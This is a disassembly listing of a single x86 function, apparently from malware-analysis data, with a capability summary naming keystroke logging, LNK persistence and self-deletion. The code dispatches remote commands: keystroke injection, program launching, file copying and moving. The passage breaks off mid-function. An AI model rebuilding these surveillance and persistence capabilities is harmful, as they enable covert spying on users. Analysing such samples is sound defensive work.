Function at 0x4e0a20
Capabilities:
Check for foreground window switch
Check for time delay via gettickcount
Copy file
Create directory
Create process on windows
Delete file
Log keystrokes via polling
Move file
Persist via lnk shortcut
Reference cloudflare dns server
Self delete
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x16c
push 0
push 0
dec ecx
jne 0x4e0a28
push ebx
push esi
push edi
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x19]
mov edx, dword [0x4707e0]
call fcn.00405278
xor eax, eax
push ebp
push 0x4e7afc
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [0x53f320], 0x805
mov eax, dword [ebp - 0x2c]
movzx eax, byte [eax + 0xc]
mov dword [0x549438], eax
mov eax, dword [ebp - 0x2c]
movzx eax, byte [eax + 0xc]
add eax, 0xfffffff6
cmp eax, 0xf2
ja case.0x4e0a85.10
mov al, byte [eax + 0x4e0a8c]
jmp dword [eax*4 + 0x4e0b7f]
mov eax, dword [ebp - 0x2c]
mov ebx, dword [eax + 0x10]
push 0x4e7b18
push dword [0x54965c]
push 0x4e7b2c
lea eax, [ebp - 0xd8]
mov edx, 3
call fcn.0040494c
push 0x4e7b18
push dword [0x54965c]
push 0x4e7b3c
lea eax, [ebp - 0xdc]
mov edx, 3
call fcn.0040494c
lea eax, [ebp - 0xd8]
call fcn.004db564
lea eax, [ebp - 0xdc]
call fcn.004db564
cmp ebx, 0xa
jne 0x4e0dde
lea edx, [ebp - 0x8c0]
mov eax, 0x13
call fcn.004ab8e8
mov eax, dword [ebp - 0x8c0]
mov ecx, dword [0x54964c]
mov edx, dword [0x54965c]
call fcn.0046c30c
test al, al
je case.0x4e0a85.10
mov eax, dword [ebp - 0xd8]
call fcn.00409988
mov eax, dword [ebp - 0xdc]
call fcn.00409988
jmp case.0x4e0a85.10
cmp ebx, 0xb
jne 0x4e0e35
push 0
mov eax, dword [0x540f14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xd8]
mov edx, 0x4e7b4c
call fcn.004d9334
test eax, eax
jne case.0x4e0a85.10
lea edx, [ebp - 0x8c4]
mov eax, 0x13
call fcn.004ab8e8
mov eax, dword [ebp - 0x8c4]
mov edx, dword [0x54965c]
call fcn.0046d0fc
mov eax, dword [ebp - 0xdc]
call fcn.00409988
jmp case.0x4e0a85.10
cmp ebx, 0xc
jne 0x4e0ef4
mov edx, dword [0x540f14]
mov edx, dword [edx]
mov eax, 0x4e7b58
call fcn.00404bc8
test eax, eax
jne case.0x4e0a85.10
mov dl, 1
mov eax, dword [0x414bcc]
call fcn.0040377c
mov dword [ebp - 0x24], eax
push 0x4e7b64
mov eax, dword [0x540f14]
push dword [eax]
push 0x4e7b74
lea eax, [ebp - 0x8c8]
mov edx, 3
call fcn.0040494c
mov edx, dword [ebp - 0x8c8]
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
call dword [ecx + 0x38]
lea eax, [ebp - 0x8cc]
mov edx, dword [ebp - 0xdc]
call fcn.00404e90
mov eax, dword [ebp - 0x8cc]
push eax
mov eax, dword [ebp - 0x24]
push eax
call fcn.0046dff0
test al, al
je 0x4e0ee7
lea edx, [ebp - 0x8d0]
mov eax, 0x13
call fcn.004ab8e8
mov eax, dword [ebp - 0x8d0]
mov edx, dword [0x54965c]
call fcn.0046d0fc
mov eax, dword [ebp - 0xd8]
call fcn.00409988
mov eax, dword [ebp - 0x24]
call fcn.004037ac
jmp case.0x4e0a85.10
cmp ebx, 0xd
jne case.0x4e0a85.10
lea edx, [ebp - 0x8d4]
mov eax, 0x13
call fcn.004ab8e8
mov eax, dword [ebp - 0x8d4]
mov edx, dword [0x54965c]
call fcn.0046d0fc
mov eax, dword [ebp - 0xd8]
call fcn.00409988
mov eax, dword [ebp - 0xdc]
call fcn.00409988
jmp case.0x4e0a85.10
mov eax, 0x54959c
mov edx, dword [ebp - 0x2c]
add edx, 0x20
mov ecx, 0x400
call fcn.00404820
lea edx, [ebp - 0x8d8]
mov eax, 0x125
call fcn.004ab8e8
mov eax, dword [ebp - 0x8d8]
push eax
lea eax, [ebp - 0x8dc]
mov edx, dword [0x5408e8]
mov edx, dword [edx]
call fcn.00404e90
mov eax, dword [ebp - 0x8dc]
mov ecx, dword [0x54959c]
pop edx
call fcn.0046dba4
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x314]
call fcn.0047cbb0
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004ef598
call fcn.004dba00
jmp case.0x4e0a85.10
lea edx, [ebp - 0x8e0]
mov eax, 0x125
call fcn.004ab8e8
mov eax, dword [ebp - 0x8e0]
push eax
lea eax, [ebp - 0x8e4]
mov edx, dword [0x5408e8]
mov edx, dword [edx]
call fcn.00404e90
mov eax, dword [ebp - 0x8e4]
xor ecx, ecx
pop edx
call fcn.0046dba4
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x314]
call fcn.0047cbb0
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004ef598
call fcn.004dba00
jmp case.0x4e0a85.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cmp eax, dword [0x549731]
jne case.0x4e0a85.10
cmp byte [0x53fb6c], 0
jne case.0x4e0a85.10
xor eax, eax
push ebp
push 0x4e1097
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [0x53fb6c], 1
cmp byte [0x549724], 0
je 0x4e1065
mov byte [0x54973d], 0
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
mov dword [0x5498d4], eax
mov dl, 1
mov eax, dword [ebp - 0x28]
call fcn.004def38
jmp 0x4e1082
push 0
push 1
push 0
push 0
push 0
mov ecx, dword [0x549731]
mov edx, 0x76
mov eax, dword [ebp - 0x28]
call fcn.004dd994
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push case.0x4e0a85.10
mov byte [0x53fb6c], 0
ret
cmp dword [0x53f3a8], 0x5250390
jb case.0x4e0a85.10
mov eax, dword [ebp - 0x2c]
test byte [eax + 0x10], 0xff
jne 0x4e10d7
mov eax, dword [0x540d84]
mov eax, dword [eax]
push eax
mov eax, dword [0x54096c]
mov eax, dword [eax]
mov ecx, 0x4e7b80
mov edx, 0x634
call fcn.004afe94
jmp 0x4e10f6
push 0x501
mov ecx, dword [0x540c80]
mov ecx, dword [ecx]
mov edx, dword [0x540768]
mov eax, dword [0x540720]
mov eax, dword [eax]
call fcn.004af7dc
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
shr eax, 8
mov byte [0x549810], al
mov eax, 0x549743
call fcn.004045b8
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x18]
shr eax, 0x10
mov dword [0x5495c4], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x18]
and eax, 0xffff
mov dword [0x5495c8], eax
jmp case.0x4e0a85.10
mov eax, dword [0x54096c]
mov eax, dword [eax]
call fcn.004b0024
mov edx, dword [0x540768]
mov eax, dword [0x540720]
mov eax, dword [eax]
call fcn.004af914
cmp dword [0x549628], 0
je case.0x4e0a85.10
mov eax, 0x549628
call fcn.004045b8
mov al, byte [0x549460]
call fcn.004b0df0
jmp case.0x4e0a85.10
lea edx, [ebp - 0x60]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f74
mov eax, dword [ebp - 0x60]
call fcn.004ee8fc
jmp case.0x4e0a85.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x1c]
mov dword [0x549644], eax
mov eax, dword [0x549644]
add eax, 0x5b
cmp eax, dword [0x5496d8]
jae 0x4e11d9
push 0
push 0x3e8
mov eax, dword [0x53f338]
mov edx, dword [0x53f33c]
call fcn.00405968
and eax, 1
xor edx, edx
cmp edx, 0
jne 0x4e11d9
cmp eax, 0
je case.0x4e0a85.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
mov dword [0x54978c], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
mov dword [0x549790], eax
push 0
push 0
push 0x502
mov eax, dword [ebp - 0x28]
call fcn.0045de44
push eax
call sub.user32.dll_PostMessageA
jmp case.0x4e0a85.10
push 0
push 0
push 0x505
mov eax, dword [ebp - 0x28]
call fcn.0045de44
push eax
call sub.user32.dll_PostMessageA
jmp case.0x4e0a85.10
push 0
push 0
push 0x503
mov eax, dword [ebp - 0x28]
call fcn.0045de44
push eax
call sub.user32.dll_PostMessageA
jmp case.0x4e0a85.10
call fcn.004df140
jmp case.0x4e0a85.10
mov eax, dword [0x5405bc]
cmp byte [eax], 1
jne case.0x4e0a85.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
and eax, 0xff
call fcn.004dfbf0
jmp case.0x4e0a85.10
mov eax, dword [0x5405bc]
cmp byte [eax], 1
jne case.0x4e0a85.10
call fcn.004dfd1c
jmp case.0x4e0a85.10
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x314]
call fcn.0047cbb0
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004ef598
jmp case.0x4e0a85.10
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x314]
call fcn.0047cbb0
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004ef598
call fcn.004dfdac
xor edx, edx
mov eax, 1
call fcn.004dfdcc
jmp case.0x4e0a85.10
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x314]
call fcn.0047cbb0
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004ef598
mov eax, dword [0x53f338]
mov edx, dword [0x53f33c]
add eax, 0x2710
adc edx, 0
mov dword [0x53f428], eax
mov dword [0x53f42c], edx
mov eax, dword [ebp - 0x2c]
mov edx, dword [eax + 0x10]
xor eax, eax
call fcn.004d98c0
jmp case.0x4e0a85.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
mov dword [0x53fa84], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
mov dword [0x53fa80], eax
cmp dword [0x53fa80], 0
jg case.0x4e0a85.10
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x314]
call fcn.0047cbb0
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004ef598
mov edx, dword [0x53fa84]
mov ax, 2
call fcn.004d98c0
jmp case.0x4e0a85.10
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x314]
call fcn.0047cbb0
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004ef598
mov eax, dword [0x540ef0]
cmp dword [eax], 2
jne 0x4e13ac
mov eax, dword [ebp - 0x2c]
mov edx, dword [eax + 0x10]
mov ax, 8
call fcn.004d98c0
jmp case.0x4e0a85.10
mov eax, dword [ebp - 0x2c]
mov edx, dword [eax + 0x10]
mov ax, 1
call fcn.004d98c0
jmp case.0x4e0a85.10
cmp byte [0x53f3d8], 2
je case.0x4e0a85.10
cmp byte [0x549742], 3
jne case.0x4e0a85.10
cmp byte [0x549724], 0
jne case.0x4e0a85.10
mov dl, 1
mov eax, dword [0x414bcc]
call fcn.0040377c
mov dword [ebp - 0x24], eax
push 0
push 0
mov eax, dword [0x549725]
call fcn.004196dc
mov dword [ebp - 0x11], 0
mov dword [ebp - 0xd], 0
push ebp
lea edx, [ebp - 0x8ec]
mov eax, 0xf3
call fcn.004ab8e8
mov ecx, dword [ebp - 0x8ec]
mov edx, dword [0x540c9c]
mov edx, dword [edx]
lea eax, [ebp - 0x8e8]
call fcn.004048d8
mov eax, dword [ebp - 0x8e8]
call fcn.004e084c
pop ecx
push ebp
mov eax, dword [0x5495e4]
call fcn.004e084c
pop ecx
lea edx, [ebp - 0x15]
mov ecx, 4
mov eax, dword [0x549725]
mov ebx, dword [eax]
call dword [ebx + 8]
cmp eax, 4
jne 0x4e14da
cmp dword [ebp - 0x15], 0x55662143
jne 0x4e14a6
lea edx, [ebp - 0x3c]
mov eax, dword [0x549725]
call fcn.00470e70
push ebp
mov edx, dword [0x540c9c]
mov edx, dword [edx]
lea eax, [ebp - 0x8f0]
mov ecx, dword [ebp - 0x3c]
call fcn.004048d8
mov eax, dword [ebp - 0x8f0]
call fcn.004e084c
pop ecx
jmp 0x4e1454
mov eax, dword [0x549725]
call fcn.004196bc
sub eax, 4
sbb edx, 0
push edx
push eax
mov eax, dword [0x549725]
call fcn.004196dc
push ebp
mov eax, dword [0x5495d8]
call fcn.004e084c
pop ecx
push ebp
mov eax, dword [0x5495dc]
call fcn.004e084c
pop ecx
mov eax, dword [ebp - 0x24]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jle 0x4e1532
lea edx, [ebp - 0x8fc]
mov eax, 0xb
call fcn.004ab8e8
mov ecx, dword [ebp - 0x8fc]
mov edx, dword [0x540c9c]
mov edx, dword [edx]
lea eax, [ebp - 0x8f8]
call fcn.004048d8
mov edx, dword [ebp - 0x8f8]
lea eax, [ebp - 0x8f4]
call fcn.00404e90
mov eax, dword [ebp - 0x8f4]
push eax
mov eax, dword [ebp - 0x24]
push eax
call fcn.0046dff0
jmp 0x4e1566
lea edx, [ebp - 0x904]
mov eax, 0xb
call fcn.004ab8e8
mov ecx, dword [ebp - 0x904]
mov edx, dword [0x540c9c]
mov edx, dword [edx]
lea eax, [ebp - 0x900]
call fcn.004048d8
mov eax, dword [ebp - 0x900]
call fcn.00409988
mov eax, dword [ebp - 0x24]
call fcn.004037ac
mov eax, 0x12c
call fcn.004d9234
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x314]
call fcn.0047cbb0
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004ef598
call fcn.004dfdac
xor edx, edx
mov eax, 2
call fcn.004dfdcc
push 5
mov eax, dword [0x540c9c]
call fcn.00404adc
push eax
mov eax, 0x5495e8
call fcn.00404adc
push eax
mov eax, 0x5495e4
call fcn.00404adc
push eax
push 0x4e7b90
push 0
call sub.shell32.dll_ShellExecuteA
jmp case.0x4e0a85.10
lea edx, [ebp - 0x3c]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f74
lea eax, [ebp - 0x3c]
call fcn.004db564
push 1
push 0
push 0
mov eax, dword [ebp - 0x3c]
call fcn.00404a84
push eax
push 0x4e7b90
mov eax, dword [ebp - 0x28]
call fcn.0045de44
push eax
call sub.shell32.dll_ShellExecuteA
jmp case.0x4e0a85.10
lea edx, [ebp - 0x3c]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f74
mov eax, dword [ebp - 0x3c]
call fcn.0040488c
mov ebx, eax
inc ebx
mov eax, dword [ebp - 0x2c]
lea eax, [eax + ebx + 0x20]
lea edx, [ebp - 0x40]
call fcn.00409f74
mov eax, dword [ebp - 0x40]
call fcn.0040488c
inc eax
add ebx, eax
mov eax, dword [ebp - 0x2c]
lea eax, [eax + ebx + 0x20]
lea edx, [ebp - 0x44]
call fcn.00409f74
lea edx, [ebp - 0x908]
mov eax, 0xf4
call fcn.004ab8e8
mov edx, dword [ebp - 0x908]
mov eax, dword [ebp - 0x3c]
call fcn.004049d0
jne 0x4e16b1
lea eax, [ebp - 0x40]
call fcn.004db564
lea eax, [ebp - 0x44]
call fcn.004db564
mov edx, 0x20
mov eax, dword [ebp - 0x44]
call fcn.0040986c
push 0
mov eax, dword [ebp - 0x44]
call fcn.00404a84
push eax
mov eax, dword [ebp - 0x40]
call fcn.00404a84
push eax
call sub.kernel32.dll_CopyFileA
jmp case.0x4e0a85.10
lea edx, [ebp - 0x90c]
mov eax, 0xf5
call fcn.004ab8e8
mov edx, dword [ebp - 0x90c]
mov eax, dword [ebp - 0x3c]
call fcn.004049d0
jne 0x4e1900
mov eax, dword [ebp - 0x40]
call fcn.0040488c
cmp eax, 3
jle case.0x4e0a85.10
lea eax, [ebp - 0x40]
call fcn.004db564
mov eax, dword [ebp - 0x40]
mov al, byte [eax]
call fcn.00402b3c
mov byte [0x549914], al
mov eax, dword [ebp - 0x40]
cmp byte [eax + 1], 0x3a
jne 0x4e1744
mov al, byte [0x549914]
call fcn.0046b940
test al, al
je 0x4e1744
mov al, byte [0x549914]
call fcn.004b0a70
test eax, eax
jne 0x4e1744
lea edx, [ebp - 0x910]
mov al, byte [0x549914]
call fcn.004b0c6c
mov edx, dword [ebp - 0x910]
mov eax, 0x53fb68
call fcn.0040460c
jmp 0x4e174e
mov eax, 0x53fb68
call fcn.004045b8
mov eax, dword [ebp - 0x40]
call fcn.0046dd44
test al, al
je 0x4e17c1
mov eax, dword [ebp - 0x40]
call fcn.004f8b60
mov edx, 2
mov eax, dword [ebp - 0x40]
call fcn.004da8fc
cmp dword [0x53fb68], 0
je 0x4e18da
lea eax, [ebp - 0x918]
push eax
mov ecx, 0x400
mov edx, 3
mov eax, dword [ebp - 0x40]
call fcn.00404ae4
mov ecx, dword [ebp - 0x918]
lea eax, [ebp - 0x914]
mov edx, dword [0x53fb68]
call fcn.004048d8
mov eax, dword [ebp - 0x914]
mov edx, 2
call fcn.004da8fc
jmp 0x4e18da
mov eax, dword [ebp - 0x40]
call fcn.00462e40
test al, al
je 0x4e18da
mov ecx, dword [ebp - 0x28]
mov dl, 1
mov eax, dword [0x46a778]
call fcn.0046aa00
mov dword [ebp - 0xd4], eax
mov eax, dword [ebp - 0xd4]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x54], edx
mov dword [eax + 0x50], 0x4ed8bc
mov eax, dword [ebp - 0xd4]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x4c], edx
mov dword [eax + 0x48], 0x4edb08
mov eax, dword [ebp - 0xd4]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x64], edx
mov dword [eax + 0x60], 0x4ee140
mov eax, dword [ebp - 0xd4]
add eax, 0x40
mov edx, dword [ebp - 0x40]
call fcn.0040460c
mov eax, dword [ebp - 0xd4]
mov byte [eax + 0x71], 1
mov eax, dword [ebp - 0xd4]
mov dword [eax + 0xc], 1
xor eax, eax
push ebp
push 0x4e1879
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0xd4]
call fcn.0046aab4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e1880
mov eax, dword [ebp - 0xd4]
call fcn.004037ac
ret
cmp dword [0x53fb68], 0
je case.0x4e0a85.10
mov eax, 0x53fb68
call fcn.004045b8
mov al, byte [0x549914]
call fcn.004b0df0
jmp case.0x4e0a85.10
lea edx, [ebp - 0x920]
mov eax, 0xf6
call fcn.004ab8e8
mov edx, dword [ebp - 0x920]
mov eax, dword [ebp - 0x3c]
call fcn.004049d0
jne 0x4e195b
lea eax, [ebp - 0x40]
call fcn.004db564
lea eax, [ebp - 0x44]
call fcn.004db564
mov edx, 0x20
mov eax, dword [ebp - 0x44]
call fcn.0040986c
push 3
mov eax, dword [ebp - 0x44]
call fcn.00404a84
push eax
mov eax, dword [ebp - 0x40]
call fcn.00404a84
push eax
call sub.kernel32.dll_MoveFileExA
jmp case.0x4e0a85.10
lea edx, [ebp - 0x924]
mov eax, 0xf7
call fcn.004ab8e8
mov edx, dword [ebp - 0x924]
mov eax, dword [ebp - 0x3c]
call fcn.004049d0
jne 0x4e19c0
mov eax, dword [0x5495cc]
call fcn.0046dd44
test al, al
je case.0x4e0a85.10
mov cl, 1
mov dl, 1
mov eax, dword [0x4b15c0]
call fcn.004b19c4
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x5c]
add eax, 0x30
mov edx, dword [ebp - 0x40]
call fcn.0040460c
mov eax, dword [ebp - 0x5c]
mov byte [eax + 0x34], 4
mov eax, dword [ebp - 0x5c]
call fcn.0041f638
jmp case.0x4e0a85.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
and eax, 1
dec eax
sete byte [0x54988c]
lea eax, [ebp - 0x44]
call fcn.004db564
cmp dword [ebp - 0x44], 0
jne 0x4e19ea
lea edx, [ebp - 0x44]
mov eax, dword [ebp - 0x3c]
call fcn.0046dcbc
lea eax, [ebp - 0x3c]
call fcn.004db564
mov eax, 0x549880
mov edx, dword [ebp - 0x3c]
call fcn.0040460c
mov eax, 0x549884
mov edx, dword [ebp - 0x40]
call fcn.0040460c
mov eax, 0x549888
mov edx, dword [ebp - 0x44]
call fcn.0040460c
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
mov dword [0x53facc], eax
cmp dword [0x53facc], 0
jg case.0x4e0a85.10
mov eax, dword [ebp - 0x28]
call fcn.004e0270
jmp case.0x4e0a85.10
lea eax, [ebp - 0x1d0]
push eax
push 0
push 0
call sub.user32.dll_EnumDisplaySettingsA
mov dword [ebp - 0x1a8], 0x1c0000
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
shr eax, 0x10
mov dword [ebp - 0x164], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
and eax, 0xffff
mov dword [ebp - 0x160], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
mov dword [ebp - 0x168], eax
push 1
lea eax, [ebp - 0x1d0]
push eax
call sub.user32.dll_ChangeDisplaySettingsA
jmp case.0x4e0a85.10
call fcn.004e07b0
jmp case.0x4e0a85.10
cmp dword [0x548430], 0x200000
jg case.0x4e0a85.10
cmp byte [0x53f4c0], 1
jb case.0x4e0a85.10
mov eax, dword [0x53f338]
mov dword [0x53f348], eax
mov eax, dword [0x53f33c]
mov dword [0x53f34c], eax
mov eax, dword [ebp - 0x2c]
mov ebx, dword [eax + 0x10]
mov eax, dword [ebp - 0x2c]
mov esi, dword [eax + 0x14]
push 0x14
call sub.user32.dll_GetKeyState
and ax, 1
cmp ax, 1
sete al
mov edx, dword [ebp - 0x2c]
test byte [edx + 0x18], 1
setne dl
xor al, dl
je 0x4e1b2a
push 0
push 0
push 0
push 0x14
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0x14
call sub.user32.dll_keybd_event
mov eax, dword [ebp - 0x2c]
test byte [eax + 0x18], 1
setne byte [0x53fb90]
push 0x90
call sub.user32.dll_GetKeyState
and ax, 1
cmp ax, 1
sete al
mov edx, dword [ebp - 0x2c]
test byte [edx + 0x18], 2
setne dl
xor al, dl
je 0x4e1b6d
push 0
push 0
push 0
push 0x90
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0x90
call sub.user32.dll_keybd_event
push 0x91
call sub.user32.dll_GetKeyState
and ax, 1
cmp ax, 1
sete al
mov edx, dword [ebp - 0x2c]
test byte [edx + 0x18], 4
setne dl
xor al, dl
je 0x4e1bb0
push 0
push 0
push 0
push 0x91
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0x91
call sub.user32.dll_keybd_event
cmp ebx, 0x14
je case.0x4e0a85.10
cmp ebx, 0x90
je case.0x4e0a85.10
cmp ebx, 0x91
je case.0x4e0a85.10
mov edi, ebx
mov eax, edi
and eax, 0xfffffffe
sub eax, 0xa0
je 0x4e1bf9
sub eax, 2
je 0x4e1beb
sub eax, 2
je 0x4e1bf2
jmp 0x4e1bfe
mov edi, 0x11
jmp 0x4e1bfe
mov edi, 0x12
jmp 0x4e1bfe
mov edi, 0x10
cmp edi, 0x10
jne 0x4e1c1b
test esi, 0x80000000
je 0x4e1c14
mov byte [0x53fb94], 0
jmp 0x4e1c1b
mov byte [0x53fb94], 1
cmp edi, 0x12
jne 0x4e1c8a
test esi, 0x1000000
jne 0x4e1c5c
test esi, 0x80000000
je 0x4e1c47
mov al, byte [0x4e7b98]
not eax
and al, byte [0x53fab0]
mov byte [0x53fab0], al
jmp 0x4e1cf1
mov al, byte [0x4e7b98]
or al, byte [0x53fab0]
mov byte [0x53fab0], al
jmp 0x4e1cf1
test esi, 0x80000000
je 0x4e1c78
mov al, byte [0x4e7b9c]
not eax
and al, byte [0x53fab0]
mov byte [0x53fab0], al
jmp 0x4e1cf1
mov al, byte [0x4e7b9c]
or al, byte [0x53fab0]
mov byte [0x53fab0], al
jmp 0x4e1cf1
cmp edi, 0x11
jne 0x4e1cf1
test esi, 0x1000000
jne 0x4e1cc5
test esi, 0x80000000
je 0x4e1cb3
mov al, byte [0x4e7ba0]
not eax
and al, byte [0x53fab0]
mov byte [0x53fab0], al
jmp 0x4e1cf1
mov al, byte [0x4e7ba0]
or al, byte [0x53fab0]
mov byte [0x53fab0], al
jmp 0x4e1cf1
test esi, 0x80000000
je 0x4e1ce1
mov al, byte [0x4e7ba4]
not eax
and al, byte [0x53fab0]
mov byte [0x53fab0], al
jmp 0x4e1cf1
mov al, byte [0x4e7ba4]
or al, byte [0x53fab0]
mov byte [0x53fab0], al
cmp word [0x549868], 0
je 0x4e1cfd
mov ebx, edi
mov eax, dword [0x5406bc]
cmp dword [eax], 0
jne 0x4e1d0c
call fcn.004d3d1c
mov eax, dword [0x5405b4]
cmp dword [eax], 0
jne 0x4e1d1b
call fcn.004d503c
mov eax, dword [0x5407b8]
cmp dword [eax], 0
jne 0x4e1d2a
call fcn.004d5798
cmp byte [0x549574], 0
je 0x4e1dac
mov al, byte [0x4e7ba8]
cmp al, byte [0x53fab0]
jne 0x4e1dac
cmp ebx, 0x41
jl 0x4e1d4a
cmp ebx, 0x5a
jle 0x4e1d83
cmp ebx, 0x30
jl 0x4e1d54
cmp ebx, 0x39
jle 0x4e1d83
cmp ebx, 0x60
jl 0x4e1d5e
cmp ebx, 0x6f
jle 0x4e1d83
cmp ebx, 0xba
jl 0x4e1d6e
cmp ebx, 0xc0
jle 0x4e1d83
cmp ebx, 0xdb
jl 0x4e1d7e
cmp ebx, 0xde
jle 0x4e1d83
cmp ebx, 0x20
jne 0x4e1dac
test esi, 0x80000000
jne case.0x4e0a85.10
mov edx, esi
mov eax, ebx
call fcn.004e069c
xor esi, 0x80000000
mov edx, esi
mov eax, ebx
call fcn.004e069c
jmp case.0x4e0a85.10
mov edx, esi
mov eax, ebx
call fcn.004e069c
jmp case.0x4e0a85.10
cmp dword [0x548430], 0x200000
jg case.0x4e0a85.10
cmp byte [0x53f4c0], 1
jb case.0x4e0a85.10
mov eax, dword [0x53f338]
mov dword [0x53f348], eax
mov eax, dword [0x53f33c]
mov dword [0x53f34c], eax
mov eax, dword [0x5406bc]
cmp dword [eax], 0
jne 0x4e1dfe
call fcn.004d3d1c
mov eax, dword [0x5405b4]
cmp dword [eax], 0
jne 0x4e1e0d
call fcn.004d503c
mov eax, dword [0x5407b8]
cmp dword [eax], 0
jne 0x4e1e1c
call fcn.004d5798
mov eax, dword [0x5406bc]
cmp dword [eax], 0
jle 0x4e200a
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cmp eax, 6
ja case.0x4e0a85.10
jmp dword [eax*4 + 0x4e1e40]
mov eax, 0x12
call fcn.004d38d4
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 9
call fcn.004d38d4
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 9
call fcn.004d38ec
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x12
call fcn.004d38ec
jmp case.0x4e0a85.10
mov eax, 0x12
call fcn.004d38d4
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x1b
call fcn.004d38d4
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x1b
call fcn.004d38ec
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x12
call fcn.004d38ec
jmp case.0x4e0a85.10
mov eax, 0x11
call fcn.004d38d4
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x1b
call fcn.004d38d4
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x1b
call fcn.004d38ec
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x11
call fcn.004d38ec
jmp case.0x4e0a85.10
mov eax, 0x11
call fcn.004d38d4
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x10
call fcn.004d38d4
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x10
call fcn.004d38ec
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x11
call fcn.004d38ec
jmp case.0x4e0a85.10
mov eax, 0x11
call fcn.004d38d4
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x20
call fcn.004d38d4
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x20
call fcn.004d38ec
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x11
call fcn.004d38ec
jmp case.0x4e0a85.10
mov eax, 0x11
call fcn.004d38d4
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x12
call fcn.004d38d4
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x2e
call fcn.004d38d4
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x2e
call fcn.004d38ec
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x12
call fcn.004d38ec
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x11
call fcn.004d38ec
jmp case.0x4e0a85.10
mov eax, dword [0x5405b4]
cmp dword [eax], 0
jle 0x4e22e2
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cmp eax, 6
ja case.0x4e0a85.10
jmp dword [eax*4 + 0x4e202e]
push 0x12
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x540da4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 9
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x540da4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 9
